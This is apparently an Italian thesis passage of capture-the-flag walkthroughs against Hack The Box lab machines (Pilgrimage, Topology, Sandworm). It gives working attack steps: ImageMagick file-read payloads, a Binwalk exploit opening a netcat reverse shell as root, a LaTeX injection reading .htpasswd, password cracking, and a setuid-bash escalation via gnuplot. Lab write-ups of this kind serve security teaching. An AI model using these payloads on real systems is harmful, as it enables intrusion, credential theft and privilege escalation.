Sfruttiamo, dunque, le informazioni appena reperite per cercare sul browser eventuali vul-
nerabilita di tale software ed effettivamente troviamo la presenza dell’exploit CVE-2022-44268,
che permette 'esecuzione di codice da remoto senza autenticazione. L'exploit e stato trova-
to nella seguente pagina GitHub "https://github.com/voidz0r/CVE-2022-44268"
Nella Figura 3.10 viene mostrato I'effettivo clonaggio dell’exploit da terminale nella cartella

pilgrimage, attraverso il comando git clone https://github.com/voidzOr
/CVE—2022-44268.

~/Documenti/pilgrimage
he clone https://github.com/voidz@r/CVE-2022-44268
Clone in 'CVE-2022-44268' in corso...
remote: Enumerating objects
remote: Counting objects: 1 (30/30), done.

remote: Compressing objects: 100% (25/25), done.

remote: Total 30 (delta 8), reused 17 (delta 2), pack-reused 0
Ricezione degli oggetti: 10 0/30), 954.74 KiB | 4.03 MiB/s, fatto.
Risoluzione dei delta: 100% (8/8), fatto.

Figura 3.10: Clonaggio di CVE-2022-44268
Nella Figura 3.11, verifichiamo il contenuto di CVE-2022-44268:

~/Documenti/pilgrimage
CVE-2022-44268

! ~/Documenti/pilgrimage/CVE-2022-44268

Cargo.lock Cargo.toml README . md

Figura 3.11: Contenuto di CVE-2022-44268

A questo punto carichiamo sul sito della macchina Pilgrimage il file image.png e,
cliccando sul pulsante “shrink”, come si nota nella Figura 3.12, il sito ci offrira un link
corrispondente all'immagine compressa con un numero randomico mantenendo l'estensione
.png.

Pilgrimage

SAVE SPACE AND SHRINK IT!

A free online image shrinker. Create an account to save your images!

Figura 3.12: Inserimento di image . png sul sito Pilgrimage con conseguente produzione di link


https://github.com/voidz0r/CVE-2022-44268
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Ora utilizziamo una vulnerabilita del software open-source ImageMagick usato per ma-
nipolare immagini, in partico]are convertire, modificare e generare immagini in vari forma-
ti, nel nostro caso “.png”. L'exploit & stato procurato dal seguente sito GitHub: https:
//github.com/Sybil-Scan/imagemagick-1fi-poc. Di seguito le due Figure 3.13
e 3.14 descrivono la pagina github e il clonaggio del software ImageMagick nella cartella
pilgrimage.

README.md

ImageMagick LFI PoC [CVE-2022-44268]

Figura 3.13: Pagina GitHub di ImageMagick

~/Documenti/pilgrimage
clone https://github.com/Sybil-Scan/imagemagick-1fi-poc
Clone in 'imagemagick-1fi ' in corso...
2: Enumerating ob 38 d
remote: Counting objects: 100% (7/ done.
remote: Compressing objects: 100% ‘6), done.
remote: Total 7 (delta 1), reused elta 1), pack-reused 0
Ricezione degli oggetti: 100% / fatto.
Risoluzione dei delta: 100% ), fatto.

Figura 3.14: Clonaggio del software ImageMagick

Verifichiamo il contenuto della cartella appena installata di nome “imagemagick-1fi-
poc” ed eseguiamo il comando python3 generate.py —f "/etc/passwd" -o pass
wd.png il cui script sta generando un’immagine .png vuota che incorpora un payload
progettato per leggere il contenuto del file "/etc/passwd" dal sistema. Il file risultante &
stato denominato "passwd. png". Cid puo essere osservato nelle Figure 3.15 e 3.16.

~/Documenti/pilgrimage/imagemagick-1fi-poc
generate.py - ' sswd" -0 passwd.png

Image k LFI PoC - by Sybil Scan Research <researcha@lsybilscan.com

Blank PNG

Figura 3.15: Comando per generare il file passwd.png


https://github.com/Sybil-Scan/imagemagick-lfi-poc
https://github.com/Sybil-Scan/imagemagick-lfi-poc
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[~/Documenti/pilgrimage/imagemagick-1fi-poc

generate.py README . md

Figura 3.16: Contenuto della cartella imagemagick—-1fi-poc

Torniamo sul sito Pilgrimage e carichiamo il file passwd. png ottenendo il seguente link:
http://pilgrimage.htb/shrunk/64d63ee35a903.png.

Nella Figura 3.17, utilizzando il comando wget http://pilgrimage.htb/shrunk/
64d63ee35a903. png, scarichiamo il file immagine PNG dall’indirizzo web specificato e lo
salviamo con il nome "64d63£050016e. png" nella directory /Documenti/pilgrimage/
imagemagick-1fi-poc, verificando poi la riuscita del salvataggio.

Figura 3.17: Clonaggio del file 64d63£050016e.png

Digitando il comando exiftool 64d63f050016e.png siesegue l'analisi dei metadati
associati al file immagine "64d63£050016e .png". I risultati del comando, mostrati nella
Figura 3.18, riguardano tutte le informazioni di metadati disponibili per I'immagine, come
autore, data di creazione, dimensioni, risoluzione, proﬁ]o, colore, e altre proprieta simili.

Figura 3.18: Output del comando exiftool 64d63£050016e.png


http://pilgrimage.htb/shrunk/64d63ee35a903.png
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Servendoci del sito CyberChef (https://gchqg.github.io/CyberChef/), strumento
online e open-source che permette di eseguire una vasta gamma di operazioni di trasforma-
zione, decodifica e codifica su dati testuali o binari, e incollando il risultato del comando
precedente, purtroppo non troviamo alcuna informazione utile.

Quindi proviamo a fare altro, ossia a digitare il comando python3 generate.py -f
"/var/db/pilgrimage" -o database.png per generare un file .png vuoto (Blank
PNG), denominato database.png, utilizzando lo script chiamato generate.py, e per
piazzare un payload per leggere il contenuto dal percorso /var/db/pilgrimage. Cio
viene mostrato in Figura 3.19. Lo script tenta di sfruttare una vulnerabilita di Local File
Inclusion (LFI) in ImageMagick.

~/Documenti/pilgrimage/imagemagick-1fi-poc

generate.py README . md

~/Documenti/pilgrimage/imagemagick-1fi-poc

dat

Figura 3.19: Generazione del Blank PNG database.png

Carichiamo database . png sul sito di Pilgrimage e, come al solito, otterremo un link con-
tenente I'immagine compressa: http://pilgrimage.htb/shrunk/64d644087e7da.p
ng. Inoltre, come osserviamo in Figura 3.20, salviamo I'immagine nella cartella imagemagick

—1fi-poc attraverso il comando wget.

Figura 3.20: Salvataggio dell'immagine compressa 64d644087e7da.png

Eseguiamo il comando identify -verbose 64d644087e7da.png che dara come ri-
sultato un output dettagliato che descrive le caratteristiche dell'immagine 64d644087e7da.
png come si puo notare nelle Figure 3.21 e 3.22.

~/Documenti/pilgrimage/imagemagick-1fi-poc
64d644087e7da.png

Standard Deviation:

Figura 3.21: Prima parte dell'output del comando identify -verbose


https://gchq.github.io/CyberChef/
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Figura 3.22: Seconda parte dell’output del comando identify —verbose

Incolliamo una parte del risultato avuto sul sito CyberChef e scopriamo informazioni
molto importanti: il nome di un utente User (emily) e la sua password (abigchonkyboi123),
come mostrato in Figura 3.23.

Input +|:|E- L]

218560343132e2e2f2e

Zezfzezezfzezezfzezezf2eze2f6574632f686T7374733132330d0483171761646d6968
616460696e09030313137469607469600c020313196b656b6T6e656T6e65180103172d65
BOE96CTI6162696763686T6e6b79626F693132330a000000a50Fbdevafbdefddeffrofef

efed 1

- 247 = & Tr Raw Bytes & LF
Output B0 o
! Cu=..0 .. .. . F. fete/hostslza adminadmin rimtim

kekoneone -emilyabigchonkyboil2s

CERE RV AT £
Figura 3.23: Risultato ottenuto su CyberChef
Nella Figura 3.24, si avvia una connessione SSH (Secure Shell), trattata nella Sezione 2.4.2,

a un host remoto con I'indirizzo IP 10.10.11.219, utilizzando 1'account dell’utente "emily" e
inserendo la password appena trovata.
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Figura 3.24: Avvio della Secure Shell

Tramite il comando 1s, nella Figura 3.25, otteniamo I'elenco dei file presenti. Nel nostro
caso & presente soltanto il file di nome “user. txt” e visualizziamo il contenuto tramite il
comando cat user.txt in modo tale da reperire la User ﬂag.

emilyapilgrimage:~$ 1s

user.txt

emilyapilgrimage:~$ cat user.txt
0cab7b580a4d42aefdc4s32b7f454865a

Figura 3.25: Scoperta della User Flag

3.4 Post-Exploitation

Facendo il punto della situazione, e stato ottenuto il controllo della Shell utente, ma
e importante proseguire la ricerca per arrivare alla Shell Root. Per determinare la Root
Flag, mantenendo l'accesso all’account Emily, verifichiamo cosa vi & presente nella directory
/var/www/pilgrimage.htb/shrunk/ e rimuoviamo tutti gli elementi presenti. Cio si
riscontra nella Figura 3.26.

/o /pilgrimage.ht

write-protected
i d

e write-protected
image:

Figura 3.26: Rimozione elementi presenti in /var/www/pilgrimage .htb/shrunk/

Nella Figura 3.27, su un’altra finestra del terminale ci rechiamo della directory /opt e,
digitando il comando python -m http.server, utilizzando Python, avviamo un server


/var/www/pilgrimage.htb/shrunk/
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web che risponde alle richieste HTTP. Il server web & in ascolto sulla porta 8000 e, quindi,
accetta le richieste HTTP inviate a questa porta.

ving HTTP on 0.0.0.0 port 8000 (http: .0.0.0:800

Figura 3.27: Avvio del server web sulla porta 8000
Scarichiamo il file di nome pspy64 nella directory /tmp tramite il comando wget

http://10.10.14.150:8000/pspy64 specificando I'indirizzo IP della macchina (10. 10
.14.150) e la porta 8000 (Figura 3.28).

in 1.5s

Figura 3.28: Salvataggio del file pspy64

Il file pspy 64 rappresenta uno strumento a riga di comando progettato per curiosare nei
processi senza bisogno di permessi di root e consente di vedere i comandi eseguiti da altri
utenti. Lo si rende eseguibile tramite il comando chmod +x pspy64 e lo si esegue avendo
come risultato cio che viene mostrato in Figura 3.29.

Figura 3.29: Esecuzione di pspy64

Nell’output troviamo una parte molto interessante /bin/bash/usr/sbin/malwares
can. sh; esso indica che il processo con PID 655 sta eseguendo il comando /bin/bash, che
e il percorso dell’interprete della shell Bash, seguito dal percorso completo di un file chiamato
malwarescan. sh. Cio suggerisce che il processo sta eseguendo uno script di scansione di
malware.

Tramite il comando cat visualizziamo il contenuto dello script chiamato malwarescan.
sh situato nella directory /usr/sbin (Figura 3.30).
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d in "${b L
if [[ "$binout

Figura 3.30: Visualizzazione dello script in bash

Si nota che I'obiettivo di questo script sembra essere quello di rilevare e rimuovere
file che corrispondono a determinati tipi di contenuti sospetti o potenzialmente dannosi.
In particolare binout="$ (/usr/local/bin/binwalk —-e "$filename")": esegue il
comando binwalk sul file appena creato per esaminarne il contenuto e ottenere informazioni
sugli eventuali file incorporati. L'output viene memorizzato nella variabile binout. Per
questo motivo si e scaricato un file di exploit, che puo essere trovato nell’indirizzo https:
//www.exploit—-db.com/exploits/51249, speciﬁcamente progettato per sfruttare la
vulnerabilita per eseguire comandi arbitrari sul sistema in cui e presente Binwalk (Figura
3.31).

b} EDB-ID: CVE: Author: Type: Platform: Date:

EDB Verified: Vulnerable App:

o

B
1)
o

L3

o

Figura 3.31: Pagina Web riguardante 'exploit Binwalk

A questo punto nella directory /Scaricati sidigitail comando searchsploit binwa
1k per cercare allinterno del database Exploit Database informazioni sugli exploit relativi a
Binwalk (dettagli sugli exploit, vulnerabilita e informazioni correlate), un tool per I'analisi di
file binari (Figura 3.32). L'output di quest'ultimo comando mostra un file di nome 51249.py
che & proprio il file di script, scritto in linguaggio di programmazione Python, scaricato in
precedenza dal motore di ricerca.

~fScaricati
binwalk

Exploit Title | Path

- Remote Command Execution ( ) | python/re

Shellcode

Figura 3.32: Risultato del comando searchsploit binwalk


https://www.exploit-db.com/exploits/51249
https://www.exploit-db.com/exploits/51249

§3.4  Post-Exploitation 47

Successivamente il comando searchsploit —m python/remote/51249.py viene
utilizzato per copiare un exploit specifico dalla base di dati di Exploit Database nella directory
/Documenti/imagemagick-1fi-poc, come mostrato in Figura 3.33.

long lines (614)
ti/imagema 1fi-poc/51249.py

~/Documenti/imagemagick-1fi-poc]
51249.py

~/Documenti/imagemagick-1fi-poc

Figura 3.33: Informazioni sull’exploit 51249.py

In Figura 3.34 con il comando python3 51249.py CVE-2022-44268 eseguiamo lo
script Python denominato 51249.py.

~/Documenti/pilgrimage
51249.py CVE-2022-44268

R R
—— FIP P P

Command E
hrough

¢ [-h] file ip por
the following arguments are required: ip, port

Figura 3.34: Esecuzione dello script Python

Poi, tramite il comando python3 51249.py CVE-2022-44266/image.png 10.10
.14.150 4444, eseguiamo lo script scritto in Python sul file image . png specificando
lI'indirizzo IP della macchina (10.10.14.150) e la porta in ascolto (4444), come si vede in Figura
3.35.

~/Documenti/pilgrimage
51249.py CVE-2022-44268/image.png 1

MR

You can now

Figura 3.35: Esecuzione dello script Python sul file image .png
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Sempre sulla stessa directory, digitando il comando python -m http.server, siav-
viera un server web che rispondera alle richieste HTTP. Il server web ¢ in ascolto sulla porta
3000 e, quindi, accettera le richieste HI'TP inviate a questa porta (Figura 3.36).

~/Documenti/pilgrimage
http.server 3000

Figura 3.36: Avvio del Server Web in ascolto sulla porta 3000

Tornando sull’account di emily, il file binwalk_exploit.png verra scaricato dal server
remoto e salvato nella directory /var/www/pilgrimage.htb/shrunk (Figura 3.37).

- 'binwalk_exploit.png’ saved [2

Figura 3.37: Scaricamento del file binwalk_exploit.png

Successivamente, digitando il comando nc —-nvlp 4444, si utilizza nc (netcat) per
aprire una connessione di rete dall’indirizzo IP 10.10.11.219 alla porta 4444 del sistema e
ascoltare le connessioni in arrivo. Come mostrato in Figura 3.38, durante la connessione, &
stato inviato il comando id e come output si nota che si e eseguito il comando con privilegi di
amministratore (UID 0) e che si & I'utente Root. Subito dopo, cambiando directory in /root
e dando il comando 1s, verifichiamo i file presenti in essa. Visualizzando il contenuto del file
user.txt, attraverso il comando cat root.txt, siarriva a scoprire la Root Flag (Figura
3.38).

J L4
listening on [any] 4444 ...
connect to [10.10.14.150] from (UNKNOWN) [10.10.11.219] 35748
id
uid=0(root) gid=0(root) groups=0(root)
cd /root

ls

quarantine

reset.sh

root,.txt

cat root.txt
6f0758e9272c610d38cc39059¢79:

Figura 3.38: Scoperta della Root Flag



capitoLo 4

Un secondo test di Ethical hacking

Nel corso di questo capitolo esploreremo in dettaglio il processo di esecuzione di un secondo penetration
test su una macchina virtuale. Verranno descritti metodi e tecnologie necessari all’ottenimento dell’accesso al
sistema User e al sistema Root.

In questo caso, la macchina target, messa a disposizione dalla piattaforma di sicurezza informatica Hack
The Box (HTB), descritta nella Sezione 2.2, é denominata "Topology” e, come la macchina utilizzata nel
Capitolo 3, e basata sul sistema operativo Linux.

4.1 Information Gathering

Il passo preliminare, come si nota nella Figura 4.1, & la creazione di una sottocartella della
cartella Document i, avente lo stesso nome della macchina bersaglio, in modo tale che tutte
le azioni, i file e i tool saranno contenuti nella suddetta cartella.

= simone@kali: ~/Documenti/topology

File Azioni Modifica Visualizza Aiuto

— [~/Documenti/topology ]

Figura 4.1: Creazione cartella di nome Topology

Come gia visto nel Capitolo 3, ci si collega alla corrispondente VPN del sito di Hack-
TheBox, attraverso il download del file . ovpn e I’esecuzione del comando sudo openvpn
lab_Trustl4.ovpn, e siavvia la macchina di nome Topology.

Una volta effettuato cio si inizia con l'enumerazione, come si osserva in Figura 4.2,
attraverso il comando nmap -A -sV 10.10.11.217; dove l'indirizzo IP corrisponde a
quello della macchina Topology. Nel precedente comando sono stati utilizzati i seguenti
parametri:

¢ -A, indica ad Nmap di eseguire una scansione "aggressiva" e include un insieme di
scansioni e rilevazioni specifiche che cercano di ottenere il massimo numero possibile
di informazioni su un obiettivo. Questo pud comprendere la rilevazione del sistema
operativo, delle versioni dei servizi, delle opzioni del firewall e altro.

¢ -5V, per sondare le porte aperte determinando le informazioni sui servizi in ascolto su
queste ultime e provando a identificarne le versioni.

49
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~/Documenti/topology
213,
http
10.16.11.

Figura 4.2: Esecuzione del comando Nmap

Si pud notare che il risultato di questo comando e un elenco di porte aperte, in particolare
due:

® Porta 22: 1a porta TCP 22 ¢ aperta e sta ospitando un servizio SSH (Secure Shell), un
protocollo di rete crittografato utilizzato per la gestione remota sicura di sistemi. Inoltre
si nota che e in esecuzione la versione 8.2p1 di OpenSSH su un sistema Ubuntu con il
kernel Linux;

* Porta 80: il servizio in ascolto @ HTTP (Hypertext Transfer Protocol) e “http-title: Miska-
tonic University | Topology Group” & il titolo della pagina web visualizzato nel ser-
ver. La pagina web sembra appartenere a "Miskatonic University | Topology
Group'.

Infatti cercando "10.10.11.217" sul motore di ricerca, ossia I'indirizzo IP della macchina
Topology, si nota che apparira nello schermo il sito web presente in Figura 4.3.

Expleit-DB % Google Hacking DB

Welcome to Topology!

This is the home page of the Topalogy Group of Prof, Lilian Klein at Miskatonic
Univarsity, Wi are situated in the Deparimaent of Mathernatics, located on the sastam

campus,

On this website, we present our current research topics, software projects and a
publication ligt. Prof. Kleir's office hours are Tueadays and Thuradeys, 1:00 PM to 3:00
M in W2 D-070.

Staff

Miskatonic University

B
. 2
=1

) Professor Lilian Klein, PhD
Department of Mathematics

Head of Topology Groug
Topology Group

Vajramani Daisley, PhD

Post-doctoral researches, software developer

.

Derek Abrahams, BEng

Figura 4.3: Risultato della ricerca dell’indirizzo IP 10.10.11.217

Nella Figura 4.4, si nota come, navigando sul sito web, si abbia una sezione riguardante i
progetti software sviluppati dal Topology Group of Prof. Lilian Klein situato nella Miskatonic
University; in particolare, vi & un software (nella sezione in rosso nella foto) riguardante la
creazione di file con estensione . png di equazioni LaTeX nel browser.


10.10.11.217
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WVajraman| Dalsley, PhD

& ket i Poat-doctonnl researches, soflware developer
Derek Abrahams, BEng
Master's student, sysadmin

Software projects

| + LaTeX Equation Generator - creste PHGE of LaTeX equations in your Diowser

+ PHPMyRafDE - wab application ta manage joumal chations, with BbTeX suppart
{curmenty in development]

+ TopaMisk - Tapology toal suite by L. Klein and V. Dalsiey. Download link upon
raquest.

University depariments « PiotoTapo - A collection of Gruplat scrpts 1o alde in visualization of topaligical
probiems, Legacy, S0Urce codl upen requast

Publications (2020 - now)

+ L. Klain, A, Kréght, E. Bass and |. Thomas: “Measurability Mathods in Non-Linear

Figura 4.4: Navigazione sul sito web Topology

Tramite il comando sudo nano /etc/hosts, siapre e si modifica il file di configura-
zione degli host sul sistema Linux, creando un’associazione tra l'indirizzo IP 10.10.11.217
della macchina Topology e il nome di dominio latex.topology.htb (Figura 4.5).

simone@kali: ~
File Azioni Modifica Visualizza Aiuto

simone@kali: ~/Documentiftopology * simone@kali: ~ *

U nano 7.2 Jjete/hosts
x.topolo '.hth.

alhost ip6-localhost ip6-loopback

ip6-allrouters

Figura 4.5: Modifica del file hosts

Di conseguenza, una volta aggiornato il file hosts, sieéin grado di aprire la pagina web
mostrata in Figura 4.6.

LaTeX Equation Generator

P i quickly generste a good Iooking squation for 2 websie, fke this?

x” _’_-‘JF _— :”

Usee this equation genesalor 1o create 3 PG e,

niing math mode syt in 1he text i (only cneinars SUpperRd at
erats” will iractly retm a PRGNk That you can sa with Cit+S (ar

Generate

Examples

Here are a few code examples that contain the basic maih commans o make LaTex typeset
beaurifd equations:

Deserigtion LaTex code Cutput
Fractions \Prac{aeSHy-3} x+5
w2

Figura 4.6: Apertura del sito web latex.topology.htb/equation.php


latex.topology.htb/equation.php
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4.2 Vulnerability Analysis

Conclusa I’analisi superﬁciale del sito, @ necessario analizzare in maniera piti approfondita
tutto cio che lo riguarda, in modo tale da analizzare e individuarne le eventuali vulnerabilita
da poter sfruttare per ottenere 1’accesso alla Shell utente.

A questo scopo, si cerca sul motore di ricerca “LaTeX Injection”. Al seguente indirizzo web
https://book.hacktricks.xyz/pentesting-web/formula-doc-latex—-inject
ion si trova il comando presente nella Figura 4.7, da inserire nel sito corrispondente al
dominio latex.topology.htbh.

HackTricks HackTrices

Read file

Figura 4.7: Reperimento LaTeX Injection sul sito web HackTricks

L'iniezione LaTeX per la lettura dei file & una forma di attacco informatico che sfrutta
debolezze nelle funzionalita di parsing e rendering di LaTeX, un linguaggio di markup am-
piamente utilizzato per la creazione di documenti tecnici e scientifici. L'attacco generalmente
coinvolge l'inserimento di codice LaTeX dannoso all’interno del documento, che sfrutta le
funzionalita di inclusione di file di LaTeX.

4.3 Exploitation

Sfruttando le informazioni reperite dalla fase di Vulnerability Analysis, si effettua una
LaTeX Injection, ossia un tipo di attacco informatico che mira ad inserire comandi LaTeX
dannosi o malevoli in un’applicazione o un sistema che elabora il markup LaTeX. L'obiettivo
e quello di sfruttare vulnerabilita nella visualizzazione o nell’elaborazione del codice LaTeX
al fine di ottenere accesso non autorizzato.

Il comando che digiteremo nel campo di inserimento testuale sul sito web e:

S$\1lstinputlisting{/var/www/dev/.htpasswd}$

Nella Figura 4.8 si osserva l'inserimento del comando suddetto nel sito web.
In particolare:

* \lstinputlisting: é utilizzato per inserire codice sorgente da file esterni all’interno
di un documento LaTeX. Quindi consente di includere codice da un file specificato e di
formattarlo in modo appropriato per la visualizzazione nel documento.


latex.topology.htb
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* /var/www/dev/.htpasswd: & una stringa di percorso (path) che punta a un file
chiamato .htpasswd situato nella directory /var/www/dev. Questo file & spesso
utilizzato per la protezione di directory o pagine web mediante I'autenticazione basata

su password.

Lan Equation Generator

Meed 1o quickly generate a good koking equation for & website, like this?

Iy ="

Use this equatan generator io create a PG file.

Description LaTeX code Output

Fractions \Frac(x+5}{y-3} x+5
- |

Figura 4.8: Inserimento del comando per effettuare la LaTeX Injection

Cliccando il pulsante "Generate" sulla pagina web, si ottiene il risultato osservato in
Figura 4.9. La parte del risultato ottenuto, corrispondente a vdaisley, riguarda il nome di un

utente.

vdaisley : $apr1$1ONUB/S2$58eeNVirnRDB5zAIbIXTY O

Figura 4.9: Risultato del comando di LaTeX Injection

Di seguito, tramite il comando gedit hash.txt, siavviera l'applicazione Gedit, I'edi-
tor di testo di GNOME, e si aprira il file chiamato hash.txt utilizzando il suddetto editor
(Figure 4.10 e 4.11). Poi si trascrive nel file hash.txt il risultato ottenuto con la LaTeX

Injection.

| ~/Documenti/topology |
hash.txt

Figura 4.10: Esecuzione comando gedit hash.txt
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Figura 4.11: Avvio editor di testo

Successivamente, dando il comando john -wordlist=/usr/share/wordlists/
rockyou.txt hash.txt siesegue l'utility di cracking delle password, denominato John
the Ripper (un popolare software per il cracking delle password di cui si & parlato nella Sezione
2.5.2), per cercare di decifrare un hash utilizzando una wordlist speciﬁcandone il percorso e
il nome del file contenente 1'hash (Figura 4.12).

~/Documenti/topology

Figura 4.12: Esecuzione del comando John the Ripper

Si e individuata la password dell’utente vdaisley che corrisponde a calculus20.

A questo punto, accediamo a questo account (Figura 4.13) avviando una sessione di
accesso remoto sicuro mediante il protocollo SSH, discusso nella Sezione 2.4.2, utilizzando la
password trovata precedentemente.

~/Documenti/topology

Figura 4.13: Avvio della sessione SSH
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Nel frattempo, come mostrato in Figura 4.14, si apre un’altra finestra del terminale e ci si
dirige nella directory /Scrivania e sidigita python3 —-m http.server 80, utilizzando
Iinterprete Python. Si avviera un server web che rispondera alle richieste HTTP. 1l server
web e in ascolto sulla porta 80 e, quindi, accettera le richieste HTTP inviate a questa porta.

~/Scrivania

htt v
Serving HTTP on 0. port 80 (http

Figura 4.14: Avvio del server web in ascolto sulla porta 80

Recandoci sul terminale in cui si @ avviata la sessione Secure Shell, si scarica il file denomi-
nato pspy 64 tramite il comando wget http://10.10.14.206:80/pspy64 specificando
lI'indirizzo IP della macchina (10.10.14.206) e la porta (80) (Figura 4.15).

Pspy64 & uno strumento a riga di comando progettato per curiosare nei processi senza
bisogno di permessi di root e consente di vedere i comandi eseguiti da altri utenti.

Figura 4.15: Scaricamento del file pspy 64

Successivamente si rende eseguibile il file pspy 64 tramite il comando chmod +x pspy64
e lo si esegue, avendo come risultato cio che e mostrato in Figura 4.16.

simone@kali
ifica Visualizza Aiuto

pology = simone@kali: ~/Documentiftopology =

Figura 4.16: Esecuzione del file pspy64

Si nota che il processo con PID 24265 sta eseguendo un comando f£ind che cerca file con
estensione .plt nella directory /opt/gnuplot e nelle sue sottodirectory. Una volta trovati
i file, sta eseguendo il comando gnuplot su ciascuno di essi.

“Gnuplot” & un programma per la creazione di grafici utilizzato in ambienti Unix-like per
produrre grafici e plot di dati da file.

Come e visibile in Figura 4.17, ci si reca nella directory /opt e, digitando il comando echo
"system "chmod u+s /bin/bash"’ > /opt/gnuplot/root.plt,siva a scrivere la
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stringa system "chmod u+s /bin/bash" nelfile presente nel path /opt/gnuplot/roo
t.plt.

La stringa & un comando che cerca di eseguire un’operazione di "set-user-ID" (u+s) sul
file eseguibile /bin/bash, consentendo, in questo modo, I'esecuzione del file con i privilegi
di root quando quest'ultimo viene eseguito da un utente non privilegiato.

-bash-5.0%

-bash-5.0% echo 'system "chmod u+s /bin/bash"' > /opt/gnuplot/root.plt
Figura 4.17: Esecuzione del comando suddetto
Ci si sposta nella directory corrispondente alla home dell’utente, visualizzando I’elenco

dei file presenti in essa e, in particolare, il contenuto del file user.txt tramite il comando
cat user.txt, recuperando la User Flag (Figura 4.18).

spy64.1 wuser.txt

D# use
a7fldcd2cdf5a28abf834ch4e72

Figura 4.18: Recupero della User Flag

4.4 Post-Exploitation

Una volta ottenuto I'accesso alla Shell dell’utente, & necessario cercare possibili percorsi
per effettuare la Privilege escalation, ossia per scalare i privilegi, in modo tale da ottenere la
Root Flag. Quindi si naviga nella Shell User ottenuta per recuperare informazioni utili al
raggiungimento della Shell Root.

A questo scopo vengono eseguiti 3 diversi comandi:

1. 1s -1 /bin/bash: si visualizzano le informazioni dettagliate sul file eseguibile
/bin/bash;

2. Bash -p: siavvia un’istanza del shell Bash con i permessi effettivi dell'utente che sta
eseguendo il comando;

3. id: viene utilizzato per visualizzare le informazioni sull’identita dell’utente corrente e
si nota che quest’ultimo sta operando temporaneamente con i privilegi di root.

In modo semplice, ci si sposta nella directory / root, si visualizza I'elenco dei file presenti
in essa e il contenuto di questi ultimi. In particolare, & interessante visualizzare il contenuto del
file root . txt tramite il comando cat root.txt, individuando la Root Flag evidenziata
in rosso nella Figura 4.19.

uid=@(root) gr

Figura 4.19: Recupero della Root Flag



CAPITOLO B

Un terzo test di Ethical Hacking

Nel corso di questo capitolo esploreremo in dettaglio il processo di esecuzione di un terzo penetration test
su una macchina virtuale. Descriveremo metodi e tecnologie necessari all’ottenimento dell’accesso al sistema
User e al sistema Root.

In questo caso, la macchina target, messa a disposizione dalla piattaforma di sicurezza informatica Hack
The Box (HTB), descritta nella Sezione 2.2, ¢ denominata Sandworm e, come le macchine utilizzate nei
Capitoli 3 e 4, e basata sul sistema operativo Linux.

5.1 Information Gathering

Il passo preliminare, come si nota nella Figura 5.1, & la creazione di una sottocartella della
cartella Document i, avente lo stesso nome della macchina bersaglio, in modo tale che tutte
le azioni, i file e i tool saranno contenuti nella suddetta cartella.

E| simone@kali: ~/Documenti/sandworm

File Azioni Modifica Visualizza Aiuto

simone@kali: ~/Documenti/sandworm x simone@kali: ~/Documenti/sandworm x

[~/Documenti/sandworm

Figura 5.1: Creazione cartella di nome Sandworm

Come gia visto nei Capitoli 3 e 4, ci si collega alla corrispondente VPN del sito di Hack-
TheBox attraverso il download del file . ovpn e 'esecuzione del comando sudo openvpn
lab_Trustl4.ovpn, e siavvia la macchina Sandworm.

Una volta effettuato cio si inizia con I'enumerazione attraverso il comando nmap -A -sV
10.10.11.218 dove l'indirizzo IP corrisponde a quello della macchina Topology (Figura
5.2). Nel precedente comando sono stati utilizzati i seguenti parametri:

e -A;indica ad Nmap di eseguire una scansione "aggressiva" e include un insieme di
scansioni e rilevazioni specifiche che cercano di ottenere il massimo numero possibile di
informazioni su un obiettivo. Questo puo includere la rilevazione del sistema operativo,
delle versioni dei servizi e delle opzioni del firewall.

* —sV;sonda le porte aperte determinando le informazioni sui servizi in ascolto su queste
ultime e prova a identificarne le versioni.

57
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simene@kali: ~/Documentifsandworm

File Azioni Modifica Visualizza Aiuto

simone@kali: ~/Documentifsandworm = simone@kali: ~/Documentifsandworm =

x_kernel

Figura 5.2: Esecuzione del comando Nmap

Si pud notare che il risultato di questo comando e un elenco di porte aperte, in particolare
tre:

® Porta 22: 1a porta TCP 22 ¢ aperta e sta ospitando un servizio SSH (Secure Shell), un
protocollo di rete crittografato utilizzato per la gestione remota sicura di sistemi. Il
server SSH sembra essere OpenSSH 8.9p1 Ubuntu 3ubuntu.1 su un sistema Ubuntu.

* Porta 80: il servizio in ascolto e HTTP (Hypertext Transfer Protocol) e sembra che il titolo
della pagina non sia stato seguito in quanto c’e¢ un redirecta https://ssa.htb/..

* Porta 43: ¢ aperta e ospita un server HTTPS con I’header del server che indicanginx /1.1
8.0 (Ubuntu).lltitolo della paginae Secret Spy Agency | Secret Security
Service. Inoltre, e presente un certificato SSL con alcune informazioni sul soggetto e
sulla validita temporale.

Tramite il comando sudo nano /etc/hosts siapre e si modifica il file di configurazio-
ne degli host sul sistema Linux, creando un’associazione tra l'indirizzo IP 10.10.11.218
della macchina Sandworm e il nome di dominio ssa.htb nel suddetto file (Figura 5.3).

simone@kali: ~/Documenti/sandworm
File Azioni Modifica Visualizza Aiuto
Jetc/hosts

Figura 5.3: Modifica del file hosts

Cercando il dominio ssa.htb nella barra di ricerca del motore di ricerca, otterremo
questo come risultato, senza pero notare nulla di interessante (Figura 5.4).

A questo punto, per avere maggiori informazioni, effettuiamo una scansione utilizzando
Gobuster, eseguendo il comando gobuster dir —u https://ssa.htb/ -w /usr/sh
are/dirb/wordlists/common.txt —k.


https://ssa.htb/.
ssa.htb
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=

@ Secret Spy Agency

Our Mission
We leverage our advantages in technology and cybersecurity

eonsistent with our aut «ngthen national defense

and secure na systems.

Figura 5.4: Sito web Secret Spy Agency

Il comando suddetto verra utilizzato per eseguire una scansione delle directory sul sito
web https://ssa.htb/ utilizzando una wordlist comune di possibili nomi di directory.
L'obiettivo e individuare directory nascoste o contenuti accessibili che potrebbero non essere

facilmente visibili sulla pagina principale del sito web (Figura 5.5).

Figura 5.5: Esecuzione del comando Gobuster

Si pone I'attenzione sulla pagina /admin ma non si possiede alcuna credenziale. Un’altra
pagina da tenere in conto, mostrata in Figura 5.6, ¢ /guide.

L € Kl Mot

@ Secret Spy Agency

PGP Encryption Demenstration

Figura 5.6: Pagina web https://ssa.htb/guide

Il sito sembra offrire istruzioni su come utilizzare la crittografia PGP per firmare e ve-
rificare messaggi, enfatizzando I'importanza della sicurezza e della privacy nelle comu-
nicazioni online. La verifica dei messaggi PGP & un processo che consente di confermare
che il messaggio é stato effettivamente firmato con la chiave privata associata alla chiave


https://ssa.htb/
https://ssa.htb/guide
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pubblica importata. L'utente potra importare la chiave pubblica PGP dell’organizzazione o
dell'individuo e verificarne l'identita.

Infatti, scendendo sotto, si notano due campi di input testuale: a sinistra un campo per
inserire una chiave pubblica (Public Key) e a destra il Signed Text che rappresenta il risultato
(Figura 5.7).

FPublic Key: Signed Text:

Figura 5.7: Pagina web https://ssa.htb/guide

